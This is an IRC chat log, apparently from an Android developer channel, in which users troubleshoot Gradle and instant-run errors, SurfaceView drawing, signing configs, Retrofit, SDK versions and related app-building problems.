https://dpaste.de/Aac9 Jun 16 17:37:37 It's supposed to be some sort of obfuscation code, but I can't quite grasp what all the variables are Jun 16 17:41:51 sasha, this is an app dev channel Jun 16 17:42:04 however looks like it's related to https://developer.android.com/reference/javax/crypto/spec/SecretKeySpec.html Jun 16 17:42:39 and you did not provide c, b, etc.. Jun 16 17:42:57 ah so this isn't custom code? I have no idea what all those fun variables are Jun 16 17:43:02 especially a.. Jun 16 17:43:32 no, it's just proguarded code Jun 16 17:44:02 some functions, methods and variables have been renamed into short names, sometimes merged Jun 16 17:44:29 could also be related to https://developer.android.com/reference/javax/crypto/Cipher.html Jun 16 17:45:01 hmm is there anyway to 'deobfuscate' it? Jun 16 17:45:04 looks like it's just encrypting (or decrypting) with an AES key the string in the param Jun 16 17:45:15 sasha, yes if you are the owner of the app Jun 16 17:45:20 you have a mapping Jun 16 17:45:29 hmm I'm not Jun 16 17:45:44 then you should not do that and find another channel to discuss about it ;) Jun 16 17:45:58 and where would I find this AES key? I have a 'passwordObfuscated' variable Jun 16 17:46:04 which channel would you recommend ? Jun 16 17:46:11 none Jun 16 17:46:20 how so? Jun 16 17:46:33 maybe try #android-root Jun 16 17:46:51 there is another one but nobody will help you on that Jun 16 17:47:09 so i prefer to not redirect you to a place where ppl will laugh at you Jun 16 17:47:56 I legit couldn't care less if people laugh at me, just trying to understand this Jun 16 17:52:46 sasha, just told you, excluding the base64 wqhich is obvious Jun 16 17:53:28 any expert on locationListener within fragment ? i am having some error trying to build googleAPI client ? Jun 16 17:53:30 http://paste.ofcode.org/WcKiL6uWWFWVE6D4w6cavQ Jun 16 17:54:12 what error? Jun 16 17:54:17 java.lang.NoSuchMethodError: No direct method (Ljava/lang/String;Lcom/google/android/gms/common/api/Api$zza;Lcom/google/android/gms/common/api/Api$zzc;)V in class Lcom/google/android/gms/common/api/Api; or its super classes (declaration of 'com.google.android.gms.common.api.Api' appears in /data/data/net.janusjanus.we4x4_v1/files/instant-run/dex/slice-com.google.android.gms-play-services-base-9.0.2_1e5a2fa26c0f601021583c38b9e Jun 16 17:54:17 90ab7dfafff48-classes.dex) Jun 16 17:54:29 sorry for posting it here, my bad Jun 16 17:54:57 try without instant-run Jun 16 17:55:07 going over stakcoverflow i've tried several methods of initiating the build, using (this) or (getActivity) and (getContext) ? Jun 16 17:55:38 or maybe clean your project, or you have an old version of AS Jun 16 17:55:39 how is that ? Jun 16 17:55:46 instant-run is still problematic Jun 16 17:55:54 play-services via fragment? Jun 16 17:56:25 am kind of a beginner here, could you please elabortate what do you mean by instat=run Jun 16 17:56:49 yeah i am using this fragment to view upload task with in a Tab inside an activity Jun 16 17:57:38 i had an issue with the onactivityresult override inside a fragment Jun 16 17:57:42 am using the latest AS Jun 16 17:57:46 gaveup and used an activity Jun 16 17:57:51 and i've cleaned the project and rebuild Jun 16 17:58:22 is there a way to "deflate" a view stub Jun 16 17:58:30 or show i just toggle its visibility Jun 16 17:58:39 yeah had the same damn problem with onActivity result but was able to get it working, used it to get result from clicking a button to intiate an upload Jun 16 17:59:09 now in the same fragment i want to add the option to tag a location to the pic, but cant get the location listner to run ? Jun 16 17:59:17 actually cant even get googleAPI to build ? Jun 16 18:00:37 JanusJanus try calling the activity hosting the fragment Jun 16 18:02:07 JanusJanus, try to disable instant-run (it's in the settings of AS) Jun 16 18:07:27 all right did that, and tried to relunch the app got this error ; Jun 16 18:07:34 Error:Execution failed for task ':app:transformClassesWithDexForDebug'. Jun 16 18:07:34 > com.android.build.api.transform.TransformException: com.android.ide.common.process.ProcessException: java.util.concurrent.ExecutionException: com.android.ide.common.process.ProcessException: org.gradle.process.internal.ExecException: Process 'command '/Library/Java/JavaVirtualMachines/jdk1.7.0_79.jdk/Contents/Home/bin/java'' finished with non-zero exit value 2 Jun 16 18:07:49 so now i am trying ti invalidate and casch/restart ,... Jun 16 18:10:33 JanusJanus, if it still failing after that, it's probably a multidex issue (you have reached 64K methods or more) Jun 16 18:10:41 orbyt_: Setting visibility to GONE will not draw anything Jun 16 18:10:53 orbyt_: visibility INVISIBLE will draw Jun 16 18:10:58 JanusJanus, so in case it's multidex: https://developer.android.com/studio/build/multidex.html goodluck Jun 16 18:11:00 yea i know Jun 16 18:12:37 orbyt_: Never heard of defaltion. Sounds like GONE is what you want? Jun 16 18:13:20 orbyt_: http://stackoverflow.com/a/3843396/1229735 Jun 16 18:13:23 yea i was using gone, just wasnt sure if there was something different to use with viewstubs as viewstubs are kinda specifically geared to dynamically loading stuff like this Jun 16 18:14:07 yiati: yea in that answer he talks about it still holding memory, thats really what i was getting at Jun 16 18:16:20 Hmm yeah idk. As long as state of data and views are separated nicely doesn't seem like there should be an issue. Probably just reinflate the root view with the viewstub not initialized yet Jun 16 18:17:00 Is SDK 24 the last stable now ? Jun 16 18:18:07 A user hacks my apps inapp purchases. I verify them on server, checking everything and also order purchase state, if it is purchased, only then i open content for the user. But than i see unpaid orders those are delivered. How is it possible to bypass the google verification? Jun 16 18:18:16 wviana: It's still in developer preview, and not fully released yet Jun 16 18:18:27 adq thank you Jun 16 18:19:14 yiati: the one codenamed N ? Jun 16 18:19:26 yep Jun 16 18:19:27 I have a rooted Nexus 9, connected via ethernet to a switch. I am giving it a static IP through the command line and I can ping it. I can also ping other devices from that, using the command line. When I am using applications though, I cannot access the network. What could be wrong? Jun 16 18:19:36 lxknvlk, unfortunately it's very easy :( Jun 16 18:19:53 adq: please tell me Jun 16 18:20:12 lxknvlk, first it depends on how you handle the check of item purchased Jun 16 18:20:13 i do a request to google to check the order purchase data! Jun 16 18:20:14 I noticed that when giving static IP I cannot see the connected icon that I can see when I use DHCP Jun 16 18:20:23 What is this Android Support Repository 33.0.0 update ? Jun 16 18:21:10 adq: i validate the check with a request to goole api Jun 16 18:21:12 lxknvlk, anyone can decompile your app, replace or alter the check and verification and recompile, sign and get all the items Jun 16 18:21:33 adq: validation happens on server... Jun 16 18:21:47 imagine you store in a sharedpreference the status of your items, whatever you do someone can just alterate a false into true Jun 16 18:21:58 this is why never store anything, and always recheck Jun 16 18:22:13 well i dont store anything Jun 16 18:22:18 but then it's always a stupid branching like true or false at the end to know if the item is purchased, whatever happens in between Jun 16 18:22:22 and that can be altered too Jun 16 18:22:31 android is extremely weak Jun 16 18:22:33 there are "gifts" that users cant send to ech other Jun 16 18:23:12 idk if gift are like promo code Jun 16 18:23:19 but promo code does not support signature verification Jun 16 18:23:38 adq: when user purchases and i get an ok response from google on my device, i make a request to my server, which makes a validation request for the check, it checks everything and purchase state also, how is it possible to bypass that??? i cant imagine Jun 16 18:23:55 adq: What else do you develop to ? Jun 16 18:24:12 if your server is not the one reponsible to deliver the content, but the content is on your device Jun 16 18:24:16 this can be easily altered Jun 16 18:24:20 wviana, ??? Jun 16 18:25:18 if the content is on your server, you have a flaw somewhere else since your server should not allow that Jun 16 18:26:01 Hi. I'm using the marshmallow permission request system and a window is shown with "Deny" and "Allow". Can click on "Deny" just fine. Clicking "Allow" seems unresponsive. Is there some gotcha I might be missing? "Allow" is not grayed out, looks like a regular button but is unresponsive. Jun 16 18:27:14 lxknvlk, about promo code issue: https://github.com/googlesamples/android-play-billing/issues/7 but again i have no idea if gifts are handled like promo code Jun 16 18:27:25 wviana, i did not understand your question? Jun 16 18:29:58 is there no bottom nav in the android support lib? Jun 16 18:30:08 it’s just a toolbar Jun 16 18:30:39 ahh, no promo codes in my app, so not the problem Jun 16 18:30:40 interesting Jun 16 18:31:28 adq: Do you develop to something else than Android ? Jun 16 18:31:33 wviana, yes Jun 16 18:31:48 recently i'm doing DSP stuff for audio plugin-like Jun 16 18:35:42 wviana, why? :) Jun 16 18:38:37 wviana, where are you from? brazil? Jun 16 18:40:00 can anyone explain why im seeing dupe play-services external libraries with this build.gradle http://i.imgur.com/HGzZ5N9.png ? Jun 16 18:42:12 bitkiller_: Why do you think it ? Jun 16 18:42:14 raoul11, check BaseGameUtils Jun 16 18:42:21 right Jun 16 18:42:25 (transitivity) Jun 16 18:42:50 yeah thats 8.1.0 Jun 16 18:42:53 adq: You said about something weak in android. Jun 16 18:43:01 "viana" Jun 16 18:43:21 yes wviana, LVL, IAB, etc.. all suffers Jun 16 18:43:33 bitkiller_: oh, makes sense, or Portugal, right ? Jun 16 18:43:47 bitkiller_: Yeah, I'm from Brazil. Jun 16 18:44:09 cheers adq, spoton Jun 16 18:44:40 raoul11, just keep the same version on both of your modules Jun 16 18:44:57 forgot all about basegameutils /: Jun 16 18:45:13 yeah, might even be deprecated if not up to date Jun 16 18:45:32 i remember they changed lot of things between two versions, but i don't remember which version Jun 16 18:46:02 basegameutils is very useful Jun 16 18:46:15 it provides some boilerplate indeed Jun 16 18:46:43 tried following google's approach Jun 16 18:46:46 so convulted Jun 16 18:47:13 its way way way more easier extending basegameutils and using its simplicity Jun 16 18:47:54 anyways thanks adq o/ Jun 16 18:48:42 hi, anyone know how to get the emulator working when lspci is not available? Jun 16 18:51:46 Napalm still there ? Jun 16 19:30:10 hi Jun 16 19:30:20 can i use svg drawables in Android? Jun 16 19:49:07 can you update an android app without the store Jun 16 19:49:33 like, can the app somehow check for updates, and update itself Jun 16 19:49:43 guideX: Yes Jun 16 19:49:50 t0th_-_: you can convert svg into vector drawales Jun 16 19:49:53 *drawables Jun 16 19:50:01 LunarEclipse120: oh cool Jun 16 19:50:16 how? Jun 16 19:50:51 https://github.com/a-student/SvgToVectorDrawableConverter Jun 16 19:50:58 also I hear there's an AS plugin too Jun 16 19:51:30 LunarEclipse120: do you know, can it be done online? Jun 16 19:51:48 for instance, can the app (once loaded) do all the updating type work? keep in mind, this app isn't in the store Jun 16 19:51:51 guideX: "adb install -r apk.apk" Jun 16 19:52:40 LunarEclipse120: is there a way to do it without connecting to a pc? I want it to happen without the user doing anything Jun 16 19:52:54 I was hopeing the app could do the work, instead of the user plugging into pc Jun 16 19:53:03 no huih Jun 16 19:53:09 guideX: "pm install apk.apk" Jun 16 19:53:19 Make a script, close the app, run it. Jun 16 19:53:24 ah ok Jun 16 19:57:36 Apps cannot be installed or updated without user intervention Jun 16 20:01:54 hi Jun 16 20:02:21 i update my gradle plugin and i have this error: http://pastebin.com/gWbAYPpY Jun 16 20:02:24 anybody can help me? Jun 16 20:09:55 SimonVT i keep running into this anti-pattern - my activity implements too many Fragment callbacks. have you seen any pattern / library thats basically "DI for fragments" - instantiates the fragments , sets up callbacks to some arbitrary object - a controller of sorts, etc Jun 16 20:11:09 I just have 1 interface my Activity implements, that interface then extends all the callbacks Jun 16 20:12:39 hm, ok - but the activity still has to implement all the methods onArticleSelected(int id) etc ... Jun 16 20:12:58 Or well, not just 1.. I try to group, but you get the point Jun 16 20:13:00 Sure Jun 16 20:13:17 That's about all it does anyway, react to callbacks Jun 16 20:14:34 what i'm trying to envision, is my activity is basically empty. the nav drawer gets a selection, and at most the activity says ok XXX selected, make it so! and have all the fragments go to their respective framelayouts, and get wired up in a way (w/o event bus) so that when some event comes from them it goes to some controller thats not the activity Jun 16 20:15:19 problem is , all i can think of is that each fragment does service location. in onAttach() says getMyController() Jun 16 20:15:24 i guess that could kinda work Jun 16 20:15:38 My activity just shows what fragments, through their callbacks, tell it to show Jun 16 20:17:15 i even thought, make a headless fragment - in its onCreate add all the fragments to UI that it will oversee, set their targets to itself Jun 16 20:17:22 i update my gradle plugin and i have this error: http://pastebin.com/gWbAYPpY Jun 16 20:17:23 anybody can help me? Jun 16 20:19:14 Looks like you, or one of your gradle plugins, are trying to access the "dex task".. Try not doing that Jun 16 20:22:44 how i can see what plugin is doing it? Jun 16 20:22:54 Trial and error? Jun 16 20:23:08 yes Jun 16 20:23:46 Or maybe execute with --info, --debug or --stacktrace Jun 16 20:30:09 thanks, SimonVT Jun 16 20:30:13 i found here the problem Jun 16 20:30:37 i am using a newrelic gradle plugin with to other version to gradle Jun 16 20:35:16 hi. I need to create an app for a school project. In this app I have to create/draw a floor plan of the building. I don't know where to start. Can some one help me? Jun 16 20:37:45 Do you know how to remove RadioButton circle in api < 16 ? I gassing that >= 16 should just set background to null. Actually in recent versions it isn't showing at all. But In a 4.something it still showing the circles. Jun 16 20:39:36 I'm supporting API 15 as minimum. What do you use to support as minimum ? Jun 16 20:40:15 wviana, 16 now Jun 16 20:40:28 because: <****> 8=100% 10=100% 15=98% 16=96% 17=89% 18=80% 19=77% 21=46% 22=30% 23=10% Jun 16 20:41:00 because it covers ~96% of users Jun 16 20:41:05 adq: What ???? Jun 16 20:41:26 Shouldn't the sum of all versions be 100% ? Jun 16 20:41:48 nope, it's from https://developer.android.com/about/dashboards/index.html Jun 16 20:42:17 Is this realtime updated ? https://developer.android.com/about/dashboards/index.html Jun 16 20:42:18 like if you support api 10, you cover almost 100% of users Jun 16 20:42:34 adq: oh, I got it. Jun 16 20:42:38 no, it's updated every month Jun 16 20:44:10 adq: Just checked, no one never used under 16 in my app. 16 is the lowest Jun 16 20:44:20 lowest and the most used. Jun 16 20:45:02 sorry, actually, the lowest is 19. Jun 16 20:45:26 I'll change the minimum to 16. Jun 16 20:45:45 What about the targetSdkVersion? should I always use the same as compileSdkVersion ? Jun 16 20:50:42 So I'm setting the radiobutton button to null, It works to remove the circle from the buttons in recent versions, but I'm testing on 4.4.4 it still showing by left side of my custom icon. Jun 16 20:53:10 May it be causa a Samsung implementation of UI elements, or really about the android version ? Jun 16 20:54:28 hi. I need to create an app for a school project. In this app I have to create/draw a floor plan of the building. I don't know where to start. Can some one help me? Jun 16 21:05:14 anyone know of any examples using only gradle for an NDK project? (i.e., cmd line only) Jun 16 21:06:10 I am working on file explorer, and was looking at different examples, I am wanting to put in a "back" feature (adding .. at the top of the listview) Would I use File class or would I use Stack class for that? Jun 16 21:14:50 why not just use the built in Back functionality? Jun 16 21:17:48 Demon_Jester probably a stack; have activity onBackPressed propagate that to the fragment (if any) and it just pops a dir off the stack and shows the next one Jun 16 21:18:26 but don't start new activities or new fragments for each level the user goes into ;) Jun 16 21:18:36 i would do that Jun 16 21:19:07 g00s, I did that but took me back all way to root (shows "legacy" and "0") so I am probably using Stack incorrectly. I will figure it out. Jun 16 21:19:16 :D Jun 16 21:19:19 just make the fragment/activity show the items in a directory. clicking on a folder to go to another level would just start a new instance of the same activity Jun 16 21:19:46 and you could put a spinner or breadcrumbs to let the user navigate to some point Jun 16 21:21:22 Why would canvas.drawRGB(64, 64, 254); work fine but crash if any of the 3 colors are an odd number? Any set of 3 even numbers seems fine, but if any number is odd, then it crashes with com.android.tools.fd.runtime.InstantReloadException: String switch could not find 'draw.(Landroid/view/View;)V' with hashcode -1981618393 Jun 16 21:23:01 Ahh, commenting out the canvas.drawLine after it allows me to then use odd numbered color values Jun 16 21:23:28 but not all all odd numbered color values Jun 16 21:24:22 jesseg, pastebin your code, the error message seems related to a switch against a string Jun 16 21:25:00 i don't see how odd or even number would be problematic with drawRGB Jun 16 21:25:17 adq, I agree with you, I'll pastbin it Jun 16 21:25:27 that would be odd Jun 16 21:25:37 LOL yeah it's an odd problem alright Jun 16 21:27:12 adq, http://pastebin.com/A3CRe6YC Jun 16 21:27:26 seriously, this problem, I can’t even Jun 16 21:27:34 I'm having a hard time with signing config Jun 16 21:28:08 oO Jun 16 21:28:24 I have setup a signing config for a project I cloned from github, and am just trying to use the debug keystore Jun 16 21:28:27 jesseg, again, you did not follow any surfaceview tutorial, this is not how you should do it Jun 16 21:28:48 yet, android studio keeps having a problem at the installing apk part Jun 16 21:28:58 it reports that the signing config was invalid Jun 16 21:29:12 do you have the app installed on your device? Jun 16 21:29:20 s73v3r: no Jun 16 21:29:23 you have to many gaps atm, you're touch the textview outside of the ui thread Jun 16 21:29:44 and concerning your error, i suspect it's another issue with instant-run (disable it in AS settings) Jun 16 21:30:07 s73v3r: the specific project is here: Jun 16 21:30:07 jesseg, i'm gonna be honnest this is not going to fly Jun 16 21:30:08 https://github.com/bitcoin-wallet/bitcoin-wallet Jun 16 21:30:23 adq, it's a learning process. I'm doing the best I can. I know smart people think dumb people shouldn't even try, but you know what, there's always someone smarter and that doesn't mean everyone other than the one smartest person should just give up. Jun 16 21:30:37 and the instructions in their README.md say to just run "gradle clean build" Jun 16 21:30:53 well, i'm trying to help you since few days and not judging, just ignore ppl thinking you are dumb or whatever Jun 16 21:31:00 adq, The point is, I did get it drawing a line, and it does work, and it makes sense to me, now I can begin learning the next step to do it more right. Jun 16 21:31:12 I don't know how to even do that .. but I'm instead importing to android studio (which uses gradle anyway) Jun 16 21:31:19 jesseg, instead of your textview, use Logcat facility, with Log.v Log.d etc Jun 16 21:31:42 snapfractalpop: you’d open a command line and do it Jun 16 21:31:45 jesseg, surfaceview has its own life cycle, you cannot use it until the surface has been created & stuff Jun 16 21:31:58 but it doesn’t look like that project has a signing config Jun 16 21:32:05 s73v3r: I know, but I don't know where the gradle binary is Jun 16 21:32:10 adq, yeah that's why I used onClick from a button. Gave SurfaceView a chance to come alive :) Jun 16 21:32:13 what are you on? Jun 16 21:32:17 that project doesn't have one, but I've created one.. Jun 16 21:32:29 using the android studio gui Jun 16 21:32:37 under "project settings" Jun 16 21:32:38 no, i mean what OS Jun 16 21:32:38 jesseg, i strongly recommand you import a simple project using surfaceview with a thread for the gameloop, and hook your code in it Jun 16 21:32:42 adq, and yes I intend to do the 3 callback handlers all proper, but the way I learn is to take it in incremental steps :) Jun 16 21:32:46 ubuntu 16.04 Jun 16 21:32:58 lunarlander does lot of things but you could little by little remove things you don't need, don't bother yet about the surface is taking the full screen Jun 16 21:32:59 you should be able to type ‘whereis gradle' Jun 16 21:33:02 or ‘which gradle' Jun 16 21:33:16 it's blank because it's not in my path Jun 16 21:33:21 jesseg, you can plan few weeks of learning & coding Jun 16 21:33:27 but, if you import into Studio, there will be a gradlew script that you can use Jun 16 21:33:33 android studio knows where it is.. Jun 16 21:33:43 yeah.. I tried the gradlew thing.. Jun 16 21:34:03 it seems to import it .. sync works.. Jun 16 21:34:14 it even builds it Jun 16 21:34:21 adq, I sometimes do take the approach of starting with a complex app and paring it down, but then to get a better understanding I also like to start from the ground and work up Jun 16 21:34:35 so why did you start a signing config Jun 16 21:34:35 but when installing the apk to the device it errors out about an invalid signing config Jun 16 21:34:38 jesseg, have you made "regular" app before? Jun 16 21:34:43 adq, ahh, I tried my odd valued color levels on a different android device and it has no problem Jun 16 21:34:57 jesseg, disable instant-run in settings Jun 16 21:35:04 s73v3r: because it didn't have one Jun 16 21:35:05 gd it, so many problem with instant-run Jun 16 21:35:06 adq, nope. I'm just learning for fun. Never put an app in the app store or anything Jun 16 21:35:20 jesseg, here we go, it's not straightforward in this case Jun 16 21:35:22 usually if it doesn’t have one, it’ll make a debug one by itself Jun 16 21:35:33 hm.. Jun 16 21:35:45 adq, lemme check into that instant run thing.. Jun 16 21:35:45 if you played with canvas on javascript or other languages, it's pretty much the same Jun 16 21:36:00 I will git reset HARD --head and git clean -df and try again.. Jun 16 21:36:09 k Jun 16 21:36:13 even if you disable instant-run you will have many problems until you fix how you are using surfaceview Jun 16 21:36:15 adq, yeah I've played with canvas in javascript doing 2D primitives and also 2D graphics in other languages Jun 16 21:36:16 i’m still not sure where you added the signing config Jun 16 21:36:21 this time I won't mess with the signing config Jun 16 21:36:33 jesseg, that's good, you already know that part at least :) cause you will need it too Jun 16 21:36:41 under project settings there is a gui that allows you to add it.. Jun 16 21:36:46 you won’t really need to mess with it until you’re ready to distribute Jun 16 21:36:51 i don’t see it Jun 16 21:36:54 it basically adds it to the gradle settings file Jun 16 21:37:12 isn't there a signing tab for the module? Jun 16 21:37:34 i don’t see it, but i may have a different config Jun 16 21:37:39 hm.. Jun 16 21:37:44 jesseg, try to find simple tutorials like this old one: http://obviam.net/index.php/a-very-basic-the-game-loop-for-android/ Jun 16 21:37:47 there are plenty of them Jun 16 21:38:07 good luck, again! lol Jun 16 21:38:56 adq, yeah I checked that one out, but my android skill level is too low for me to understand the canvas setup. Thank you very much for your patient help! Jun 16 21:39:11 no pb Jun 16 21:39:36 adq, LOL.. I switched back to the original android device, and now odd colors are working. Go figure. Jun 16 21:39:47 Hi, I have an android app that was on ant then maven and I havent touched it in two years. I was gonna work on it but converting it to gradle is proving to be a giant mess. is this even worth the effort? Jun 16 21:40:32 snapfractalpop, you only sign the final apk, not a module Jun 16 21:40:34 do you want to continue working on it? Jun 16 21:40:54 snapfractalpop, https://developer.android.com/studio/publish/app-signing.html Jun 16 21:40:58 s73v3r: yes Jun 16 21:41:07 sorry, I was talking to imattxc Jun 16 21:41:22 adq: I know.. but it does sign the apk with the debug keystore, usually on it's own Jun 16 21:41:23 i figured you were trying without a signing config Jun 16 21:41:45 s73v3r: yeah.. sorry, I thought that question was for me ;) Jun 16 21:41:49 I'm trying now.. Jun 16 21:41:52 clean slate Jun 16 21:41:59 snapfractalpop, yes when you run it on "debug" build Jun 16 21:42:15 read the page i pasted Jun 16 21:42:29 adq: I've read that before Jun 16 21:42:31 "When running or debugging your project from the IDE, Android Studio automatically signs your APK with a debug certificate generated by the Android SDK tools." Jun 16 21:42:47 yes Jun 16 21:43:14 located in ~/.android/debug.keystore Jun 16 21:43:25 alias androiddebugkey Jun 16 21:43:31 password android Jun 16 21:43:43 just uninstall the previous apk, maybe you reinstalled AS or did something which leads to a new debug certificate Jun 16 21:43:48 so the signature will mismatch Jun 16 21:43:49 something else is wrong though.. Jun 16 21:44:04 adq: the apk never installed Jun 16 21:45:24 hmm, then it's not the device which tells you "invalid signing config" but AS? Jun 16 21:45:53 s73v3r: do you think it makes a difference if I choose to "open an existing android studio project" or "import project" from the AS menu? Jun 16 21:45:54 check all your gradle configs, you probably have a signingConfigs somewhere Jun 16 21:46:01 no Jun 16 21:46:41 adq: there are no signingCongigs in the project yet (in the state from which I've cloned it from github) Jun 16 21:46:53 well then idk Jun 16 21:47:04 I assumed AS is supposed to automatically handle things like that when I import.. Jun 16 21:47:06 not sure though Jun 16 21:47:10 ughh IDK Jun 16 21:47:20 idon'tknow developer kit Jun 16 21:47:21 it would automatically do debug signing config Jun 16 21:47:57 Also, I notice that when I go to import it, it seems to have "remembered" that I have imported it in the past.. Jun 16 21:48:23 did you delete the directory and reclone? Jun 16 21:48:27 the project's directory was hard reset.. so it must be in AS's cache somewhere Jun 16 21:48:39 no, i think it’s the project files didn’t get deleted Jun 16 21:48:51 I did a hard reset to HEAD and a git clean df which should be the same Jun 16 21:48:51 they wouldn’t be under Git, so git wouldn’t touch them Jun 16 21:48:57 s73v3r: really? Jun 16 21:48:59 hm.. Jun 16 21:49:02 dotfiles? Jun 16 21:49:25 go into the directory and look for some kind of project file Jun 16 21:49:41 actually, just nuke the directory and reclone Jun 16 21:49:51 yeah.. damn.. I'll try that Jun 16 21:49:59 didn't even think about those pesky dotfiles... Jun 16 21:50:05 noob question: when using retrofit normally, responses usually come with a retrofit response object. Im using retrofit with rx so instead of a Call i have an Observable...but where can i get access to the Response object? Jun 16 21:52:04 adq, I turned off Instant Run in AS and now none of my onClicks for buttons work - they give (This is the Quit button that calls my function exit() : ava.lang.IllegalStateException: Could not find method exit(View) in a parent or ancestor Context for android:onClick attribute defined on view class android.support.v7.widget.AppCompatButton with id 'buttonExit' Jun 16 21:52:52 jesseg, your xml has android:onClick[..]exit() but you don't have a corresponding method in your activity Jun 16 21:54:07 adq, I think I do. I have protected void exit(View view) Jun 16 21:54:07 { Jun 16 21:54:07 System.exit(0); Jun 16 21:54:07 } in MainActivity.java Jun 16 21:54:08 oh you have, i just checked your pastebin, but you should not do that Jun 16 21:54:19 yikes sorry aboutthat I didn't nkow it would embed those Jun 16 21:54:24 this is a bad practice to call system.exit(0) on android, don't do that Jun 16 21:54:34 adq, it's for debugging my friend Jun 16 21:54:36 let's the system handle it by pressing the back button and do nothing Jun 16 21:54:47 jesseg, you really need to start with the basic Jun 16 21:54:57 you cannot run without walking first Jun 16 21:55:10 adq, okay but my draw button does the same thing. Jun 16 21:56:04 you should reference your button in your java code and use a clicklistener in it, you're fighting too many issues at same time Jun 16 21:56:13 really, start with the official tutorials Jun 16 21:56:25 see you in few weeks Jun 16 21:56:39 Do you think that has anything to do with instant run breaking things when I turn it off? Jun 16 21:56:55 nope Jun 16 21:57:11 too many issues, and if instant-run is disable, this has nothing to do with it Jun 16 21:57:52 K let me make a right proper little app and see what it does :) Jun 16 21:59:44 jesseg, https://developer.android.com/training/index.html start here Jun 16 22:00:04 thanks Jun 16 22:02:48 Hello #android-dev. I just complete the course Object Oriented Programming for my study, in which we programmed a lot with Java. Now in my holiday, the next 1.5 months, I want to learn a lot about Android Dev. I am trying to setup my project, but I am a bit confused about which SDK(s) to use? I made a screenshot, which shows the situation I am at: Jun 16 22:02:48 http://prntscr.com/bhanyt I am trying to develop for android 4.0 and further. With intelliJ, when creating my project, I could only selected Android N from a dropdown, there were no other options, but I can't find that menu again (I think it had to do with setting up JDK 8 + Android SDK), and that felt quite strange to me. Jun 16 22:03:59 for the top ones, you only need the latest Jun 16 22:04:00 Or am I already completely wrong? That can also be, because I am very new to android-dev Jun 16 22:04:01 aukeroorda: you only need newest api Jun 16 22:04:06 so yes you only need the one with red there Jun 16 22:04:24 since N came final just yesterday, you might want to get api 23 as well Jun 16 22:04:34 s73v3r: the menu I mentioned before was actually supposed to be "project structure" Jun 16 22:04:39 not "project settins" Jun 16 22:04:43 sorry about that Jun 16 22:05:07 So am I right to understand that, I can use the newest api (24, which is for N) to develop an app for Android 4.0 and later? Jun 16 22:05:13 aukeroorda: as for rendering, do you see the 24 and the dropdown? choose 23 if you can Jun 16 22:05:21 Oke, will do! Jun 16 22:05:24 as 24 requires(?) java 8 to render Jun 16 22:05:29 yes, you only need newest Jun 16 22:05:52 then for project you st minsdk to 14 Jun 16 22:06:38 Hmm, I only have 24, so I think I will have to stick with that. I have JDK 1.8.0_92u. I will set the minsdk to 14 Jun 16 22:07:58 well you could try somehow set jdk to 1.8 for rendering but i dunno how to do it, i just stick with 23 Jun 16 22:09:04 Hmm, I see. I will try to get it to work with 24, and if that fails, I will try to get 23 available there : ) Jun 16 22:11:45 Do I also need to download the Intel Atom x86 Images? http://prntscr.com/bhavfj Jun 16 22:12:19 its for emulator Jun 16 22:12:39 Ah oke Jun 16 22:15:19 afk.. Jun 16 22:18:53 Ashiren: Oke, so those 2 for some reason won't install. I have an Nexus 5 with Android M; So now when I have the newest renderer (24), and no working emulator, I am not getting anywhere, right? Jun 16 22:19:21 My best bet is to figure out why the system images won't install, I think? Jun 16 22:24:02 So if you need access to the Retrofit Response object when using Rx, do you have to do Observable> in your retrofit service? Jun 16 22:24:30 Yes Jun 16 22:25:20 ty Jun 16 22:28:08 adq, you're so smart! Changing from XML onClick to button.setOnClickListener() solved the problem of the app crashing on click when AS has instant run turned off. Jun 16 22:37:56 mmk so my api request is returning a Response Jun 16 22:38:16 I'd like to map that to a Response (so just a different object) Jun 16 22:38:30 how would i swap out the Responses type? is that possible? Jun 16 22:40:05 adq, it also looks like I'm not having that odd color value crash now that I've turned off instant run. Thanks for the suggestion! Jun 16 22:56:10 anyone know of anyt android-studio NDK projects using the experimental gradle plugin? Jun 16 22:56:42 pepperoni: I think some of the samples do https://github.com/googlesamples/android-ndk/ Jun 16 22:58:37 danalbert: ok, thanks, i'll go look at that Jun 16 22:59:10 If they don't probably file a bug in that same project Jun 16 23:14:11 "A society that gets rid of all its troublemakers goes downhill." - Robert A. Heinlein" haha, love it Jun 16 23:31:48 anyone see what is causing my error here ... http://pastebin.com/UR2C43zT Jun 16 23:32:00 btw - hope this is the right chan, it's for an android app Jun 16 23:32:09 please let me know otherwise Jun 16 23:56:41 I'm trying to implement something like a viewpager of lists Jun 16 23:56:50 horizontal scrolling between lists Jun 16 23:57:02 vertical scrolling of the list of items Jun 16 23:57:16 and then dragging an item to a different position or a different list Jun 16 23:57:27 lol what have I gotten myself into? Jun 17 00:00:06 Hi guys! I have to integrate social logins into my app (FB, Google and Twitter) and have a question about google. Since the app is running on an Android device, does it make sense to assume that user wants to login using the account his device is tied to? I mean, does it have to automatically login the user with this email or maybe user might want to use different email/account for the app so the login process flow shouldn't Jun 17 00:00:07 make any assumptions? Jun 17 00:04:10 I <3 how build tools 24 has stable resource IDs Jun 17 00:04:41 AlexBerdnikov: A user might have several Google accounts associated with the phone Jun 17 00:05:56 s73v3r, yes, you're right. I just thought I'll better ask a dumb question than implement dumb app :) Jun 17 00:05:58 Thanks Jun 17 00:10:00 I really hate elevation, shit never shows up when I want it to... Jun 17 00:19:24 everytime I work with elevation, I hate it... Jun 17 00:23:29 hi all, is there a way to increase the bold weight when using canvas.drawText? Jun 17 00:23:56 i need it thicker and more chodier Jun 17 00:24:26 chodier? Jun 17 00:24:37 noun chode Jun 17 00:24:56 anyways, not without increasing the point size or supplying your own font Jun 17 00:25:05 increasing point size? Jun 17 00:25:33 is that just text size? Jun 17 00:25:38 yes Jun 17 00:30:09 heh, google whinged at me because one of my published apps contains hard-coded credentials for http auth to a particular endpoint Jun 17 00:30:22 was intentional though, it is for sentry/raven logging Jun 17 00:31:07 interesting Jun 17 00:31:28 what did they say after u told its for sentry? Jun 17 00:31:37 told them* Jun 17 00:34:26 tx, BTW how different Sentry is compared to Crashlytics? I have never used Sentry but would like more from those who used it Jun 17 00:36:37 We've used it here for years now, works great and is pluggable. Jun 17 00:37:03 http://ezscreens.appspot.com/view/a59b/toolbar+elevation+artifacts Jun 17 00:37:12 wtf, why am I getting that slanted shadow on the left and right sides of the toolbar Jun 17 00:37:40 I mean, the toolbar background is transparent, but why am I getting shadow under the view... Jun 17 00:41:41 https://code.google.com/p/android/issues/detail?id=180119 Jun 17 00:49:55 Android Studio shows me a highlighting warning on .setOnClickListener method and says "it may produce NullPointerException". I have a simple ImageButton wich is guaranteed not null. Jun 17 00:50:04 Never encountered such before Jun 17 00:50:21 screenshot or 